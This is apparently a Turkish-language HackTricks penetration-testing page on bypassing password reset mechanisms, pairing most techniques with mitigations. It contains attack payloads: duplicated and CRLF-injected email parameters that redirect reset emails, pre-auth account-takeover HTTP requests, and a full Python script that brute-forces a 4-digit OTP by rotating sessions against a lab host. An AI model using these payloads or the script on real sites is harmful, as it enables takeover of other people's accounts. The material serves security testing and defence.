Reset/Unutulmuş Parola Bypass

Reading time: 10 minutes

tip

AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE) Azure Hacking'i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin

Password Reset Token Leak Via Referrer

  • HTTP referer header, URL'de yer alıyorsa password reset token'ı leak edebilir. Bu, bir kullanıcı parola sıfırlama talep ettikten sonra üçüncü taraf bir site linkine tıkladığında gerçekleşebilir.
  • Etkisi: Hesap ele geçirme potansiyeli Cross-Site Request Forgery (CSRF) saldırıları yoluyla.
  • Sömürme: referer header'da password reset token leak edip etmediğini kontrol etmek için, e-posta adresinize bir password reset talebi gönderin ve sağlanan reset linke tıklayın. Parolanızı hemen değiştirmeyin. Bunun yerine, istekleri Burp Suite kullanarak yakalarken üçüncü taraf bir web sitesine (ör. Facebook veya Twitter) gidin. İstekleri inceleyin ve referer header'ın password reset token içerip içermediğini kontrol edin; bu, hassas bilgilerin üçüncü taraflara açığa çıkmasına neden olabilir.
  • Referanslar:
  • HackerOne Report 342693
  • HackerOne Report 272379
  • Password Reset Token Leak Article

Password Reset Poisoning

  • Saldırganlar, password reset istekleri sırasında Host header'ı manipüle ederek reset linkini kötü amaçlı bir siteye yönlendirebilir.
  • Etkisi: reset token'larının saldırganlara leaking edilmesiyle potansiyel hesap ele geçirmeye yol açar.
  • Önlemler:
  • Host header'ı izin verilen domain'lerin bir whitelist'ine karşı doğrulayın.
  • Mutlak URL'ler oluşturmak için güvenli, server-side yöntemler kullanın.
  • Patch: password reset URL'lerini oluştururken $_SERVER['SERVER_NAME'] kullanın; $_SERVER['HTTP_HOST'] yerine.
  • Referanslar:
  • Acunetix Article on Password Reset Poisoning

Password Reset By Manipulating Email Parameter

Saldırganlar, reset linkini yönlendirmek için password reset isteğine ek email parametreleri ekleyerek isteği manipüle edebilir.

  • Saldırgan e-posta adresini ikinci parametre olarak & ile ekleyin
php
POST /resetPassword
[...]
email=victim@email.com&email=attacker@email.com
  • İkinci parametre olarak attacker email'i %20 kullanarak ekle
php
POST /resetPassword
[...]
email=victim@email.com%20email=attacker@email.com
  • Saldırgan e-postasını ikinci parametre olarak '|' kullanarak ekleyin
php
POST /resetPassword
[...]
email=victim@email.com|email=attacker@email.com
  • cc kullanarak saldırgan e-posta adresini ikinci parametre olarak ekleyin
php
POST /resetPassword
[...]
email="victim@mail.tld%0a%0dcc:attacker@mail.tld"
  • attacker e-posta adresini ikinci parametre olarak bcc ile ekle
php
POST /resetPassword
[...]
email="victim@mail.tld%0a%0dbcc:attacker@mail.tld"
  • İkinci parametre olarak attacker email kullanarak ekleyin,
php
POST /resetPassword
[...]
email="victim@mail.tld",email="attacker@mail.tld"
  • json dizisinde ikinci parametre olarak saldırgan e-posta adresini ekleyin
php
POST /resetPassword
[...]
{"email":["victim@mail.tld","atracker@mail.tld"]}

Herhangi Bir Kullanıcının Email ve Password'ünü API Parametreleriyle Değiştirme

  • Saldırganlar, hesap kimlik bilgilerini değiştirmek için API isteklerindeki email ve password parametrelerini değiştirebilir.
php
POST /api/changepass
[...]
("form": {"email":"victim@email.tld","password":"12345678"})

No Rate Limiting: Email Bombing

  • Parola sıfırlama isteklerinde rate limiting olmaması, kullanıcıyı reset e-postalarıyla bunaltan email bombing'e yol açabilir.
  • Önleme Adımları:
  • IP adresi veya kullanıcı hesabına dayalı rate limiting uygulayın.
  • Otomatik kötüye kullanımı önlemek için CAPTCHA doğrulamaları kullanın.
  • References:
  • HackerOne Report 280534

Find out How Password Reset Token is Generated

  • Password Reset Token'ın üretimindeki desen veya yöntemi anlamak, tokenları tahmin etmeye veya brute-force yapmaya yol açabilir. Bazı seçenekler:
  • Timestamp'e dayalı
  • UserID'e dayalı
  • Kullanıcının email'ine dayalı
  • Firstname ve Lastname'e dayalı
  • Doğum tarihine dayalı
  • Kriptografiye dayalı
  • Önleme Adımları:
  • Token üretimi için güçlü, kriptografik yöntemler kullanın.
  • Öngörülebilirliği önlemek için yeterli rastgelelik ve uzunluk sağlayın.
  • Araçlar: Tokenların rastgeleliğini analiz etmek için Burp Sequencer kullanın.

Guessable UUID

  • Eğer UUID'ler (version 1) tahmin edilebilir veya öngörülebilir ise, saldırganlar geçerli reset token'ları üretmek için brute-force yapabilir. Kontrol edin:

UUID Insecurities

  • Önleme Adımları:
  • Rastgelelik için GUID version 4 kullanın veya diğer versiyonlar için ek güvenlik önlemleri uygulayın.
  • Araçlar: GUID'leri analiz etmek ve oluşturmak için guidtool kullanın.

Response Manipulation: Replace Bad Response With Good One

  • Hata mesajlarını veya kısıtlamaları atlatmak için HTTP yanıtlarını manipüle etme.
  • Önleme Adımları:
  • Yanıt bütünlüğünü sağlamak için sunucu tarafı kontrolleri uygulayın.
  • Man-in-the-middle saldırılarını önlemek için HTTPS gibi güvenli iletişim kanalları kullanın.
  • Reference:
  • Critical Bug in Live Bug Bounty Event

Using Expired Token

  • Süresi dolmuş tokenların parola sıfırlama için hala kullanılıp kullanılamayacağını test etme.
  • Önleme Adımları:
  • Sıkı token süre sonu politikaları uygulayın ve token süresini sunucu tarafında doğrulayın.

Brute Force Password Reset Token

  • IP tabanlı rate limitleri atlatmak için Burpsuite ve IP-Rotator gibi araçları kullanarak reset token'ı brute-force yapmayı deneme.
  • Önleme Adımları:
  • Güçlü rate-limiting ve hesap kilitleme mekanizmaları uygulayın.
  • Brute-force saldırılarını işaret eden şüpheli etkinlikleri izleyin.

Try Using Your Token

  • Bir saldırganın reset token'ının mağdurun email'i ile birlikte kullanılıp kullanılamayacağını test etme.
  • Önleme Adımları:
  • Tokenların kullanıcı oturumuna veya başka kullanıcıya özgü özelliklere bağlandığından emin olun.

Session Invalidation in Logout/Password Reset

  • Bir kullanıcı çıkış yaptığında veya parolasını sıfırladığında oturumların geçersiz kılındığından emin olma.
  • Önleme Adımları:
  • Tüm oturumların çıkış veya parola sıfırlama sırasında geçersiz kılındığından emin olarak uygun oturum yönetimi uygulayın.

Session Invalidation in Logout/Password Reset

  • Reset tokenların geçersiz hale geldiği bir süre sonu olmalıdır.
  • Önleme Adımları:
  • Reset tokenları için makul bir süre sonu belirleyin ve bunu sunucu tarafında sıkı şekilde uygulayın.

OTP rate limit bypass by changing your session

  • Site yanlış OTP denemelerini izlemek için kullanıcı oturumu kullanıyorsa ve OTP zayıfsa (<= 4 basamak) OTP'yi etkili şekilde bruteforce edebiliriz.
  • istismar:
  • Sunucu tarafından engellendikten sonra yeni bir session token isteyin.
  • Örnek kodu bu hatayı rastgele OTP tahminiyle sömürüyor (oturumu değiştirdiğinizde OTP de değişir, bu yüzden sıralı brute-force yapamayız!):
python
# Authentication bypass by password reset
# by coderMohammed
import requests
import random
from time import sleep

headers = {
"User-Agent": "Mozilla/5.0 (iPhone14,3; U; CPU iPhone OS 15_0 like Mac OS X) AppleWebKit/602.1.50 (KHTML, like Gecko) Version/10.0 Mobile/19A346 Safari/602.1",
"Cookie": "PHPSESSID=mrerfjsol4t2ags5ihvvb632ea"
}
url = "http://10.10.12.231:1337/reset_password.php"
logout = "http://10.10.12.231:1337/logout.php"
root = "http://10.10.12.231:1337/"

parms = dict()
ter = 0
phpsessid = ""

print("[+] Starting attack!")
sleep(3)
print("[+] This might take around 5 minutes to finish!")

try:
while True:
parms["recovery_code"] = f"{random.randint(0, 9999):04}" # random number from 0 - 9999 with 4 d
parms["s"] = 164 # not important it only efects the frontend
res = requests.post(url, data=parms, allow_redirects=True, verify=False, headers=headers)

if ter == 8: # follow number of trails
out = requests.get(logout,headers=headers) # log u out
mainp = requests.get(root) # gets another phpssid (token)

cookies = out.cookies # extract the sessionid
phpsessid = cookies.get('PHPSESSID')
headers["cookies"]=f"PHPSESSID={phpsessid}" #update the headers with new session

reset = requests.post(url, data={"email":"tester@hammer.thm"}, allow_redirects=True, verify=False, headers=headers) # sends the email to change the password for
ter = 0 # reset ter so we get a new session after 8 trails
else:
ter += 1
if(len(res.text) == 2292): # this is the length of the page when u get the recovery code correctly (got by testing)
print(len(res.text)) # for debug info
print(phpsessid)

reset_data = { # here we will change the password to somthing new
"new_password": "D37djkamd!",
"confirm_password": "D37djkamd!"
}
reset2 = requests.post(url, data=reset_data, allow_redirects=True, verify=False, headers=headers)

print("[+] Password has been changed to:D37djkamd!")
break
except Exception as e:
print("[+] Attck stopped")

Arbitrary password reset via skipOldPwdCheck (pre-auth)

Some implementations expose a password change action that calls the password-change routine with skipOldPwdCheck=true and does not verify any reset token or ownership. If the endpoint accepts an action parameter like change_password and a username/new password in the request body, an attacker can reset arbitrary accounts pre-auth.

Vulnerable pattern (PHP):

php
// hub/rpwd.php
RequestHandler::validateCSRFToken();
$RP = new RecoverPwd();
$RP->process($_REQUEST, $_POST);

// modules/Users/RecoverPwd.php
if ($request['action'] == 'change_password') {
$body = $this->displayChangePwd($smarty, $post['user_name'], $post['confirm_new_password']);
}

public function displayChangePwd($smarty, $username, $newpwd) {
$current_user = CRMEntity::getInstance('Users');
$current_user->id = $current_user->retrieve_user_id($username);
// ... criteria checks omitted ...
$current_user->change_password('oldpwd', $_POST['confirm_new_password'], true, true); // skipOldPwdCheck=true
emptyUserAuthtokenKey($this->user_auth_token_type, $current_user->id);
}

Exploitation isteği (kavram):

http
POST /hub/rpwd.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded

action=change_password&user_name=admin&confirm_new_password=NewP@ssw0rd!

Mitigations:

  • Parola değişikliğinden önce, hesaba ve oturuma bağlı, geçerli ve zaman sınırlı bir reset tokenı her zaman talep edin.
  • skipOldPwdCheck path'larını kimlik doğrulanmamış kullanıcılara asla açmayın; normal parola değişiklikleri için kimlik doğrulamayı zorunlu kılın ve eski parolayı doğrulayın.
  • Parola değişikliğinden sonra tüm aktif oturumları ve reset tokenlarını geçersiz kılın.

Kayıt-olarak-Parola-Sıfırlama (Upsert on Existing Email)

Bazı uygulamalar signup handler'ını upsert olarak uygular. Eğer e-posta zaten mevcutsa, handler isteği reddetmek yerine kullanıcı kaydını sessizce günceller. Registration endpoint'i mevcut bir e-posta ve yeni bir parolayı içeren minimal bir JSON body kabul ettiğinde, bu teknik olarak herhangi bir sahiplik doğrulaması olmadan pre-auth password reset'e dönüşür ve tam hesap ele geçirilmesine izin verir.

Pre-auth ATO PoC (mevcut bir kullanıcının şifresinin üzerine yazma):

http
POST /parents/application/v4/admin/doRegistrationEntries HTTP/1.1
Host: www.target.tld
Content-Type: application/json

{"email":"victim@example.com","password":"New@12345"}

Referanslar

tip

AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE) Azure Hacking'i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin